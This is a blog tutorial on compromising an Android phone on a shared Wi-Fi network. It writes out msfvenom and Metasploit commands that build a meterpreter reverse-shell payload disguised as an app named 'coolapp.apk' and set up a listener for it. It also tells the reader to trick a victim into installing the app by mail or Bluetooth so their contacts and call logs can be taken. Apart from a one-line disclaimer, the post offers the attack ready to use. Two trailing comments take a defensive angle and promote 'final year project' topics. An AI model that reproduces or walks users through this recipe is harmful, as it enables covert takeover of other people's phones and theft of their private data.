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How to Hack an Android device on the same Wi-Fi Network

Posted by zuhaircmr
Disclaimer: Hacking other devices on Wireless Networks (Wi-Fi) without explicit written permission is illegal, unless you are the legal owner of the devices you want to hack and the wireless network.
Its just a simple Trick. All you need is our dear metasploit, and a bit of social engineering skills.
Here my ip is 192.168.1.33 and the system i am going to hack is of ip 192.168.1.34
Open a terminal(as root-sudo terminator), and put in:
msfvenom -p android/meterpreter/reverse_tcp LHOST=(your lan ip address) LPORT=8080 R > /home/root/coolapp.apk
eg : msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=8080 R > /home/root/coolapp.apk 
This command should give you a file called coolapp.apk on the desktop. Now we need to set up a listener so that when the target opens the app, we have their android hacked. :D
Open the metasploit console by typing "msfconsole" & Type : 
use exploit/multi/handler
Hit return and follow as I do 1by1.

set payload android/meterpreter/reverse_tcp
set lhost (your lan ip address)
set lport 8080


Hit enter, Now use some social engineering tricks like sending them a mail or send via  bluetooth to give the file on the desktop titled, coolapp.apk, to someone who will open(click on install>&open) it on their android phone. Once you have given the app and they are about to open it, go back to your metasploit console and type:
exploit
This should open a connection soon with the target android phone where you can access a lot of features of that phone like Contacts,Call log, and many more .



Feel free to comment here if you face any problems .
All the best.



2 Comments


The article discusses Android security risks on a shared Wi-Fi network and highlights how social engineering and malicious applications can be combined with penetration-testing frameworks. The disclaimer about obtaining explicit permission is especially important because security testing should only be performed in an authorized environment. From a defensive perspective, this type of example helps illustrate why users should be cautious about installing applications from untrusted sources and why mobile devices on shared networks need appropriate security controls.

Understanding how mobile applications and network communications can become part of an attack scenario is valuable when studying Android Projects for Final Year. Secure application development, permission management, safe installation practices, and responsible testing can all help reduce the risks associated with malicious applications.


The networking aspect is equally relevant because devices connected to the same wireless environment can introduce additional security considerations. Studying authentication, network segmentation, monitoring, and defensive testing provides a safer way to understand these scenarios, while Network Security Projects for Final Year can provide useful directions for exploring network protection in authorized lab environments.

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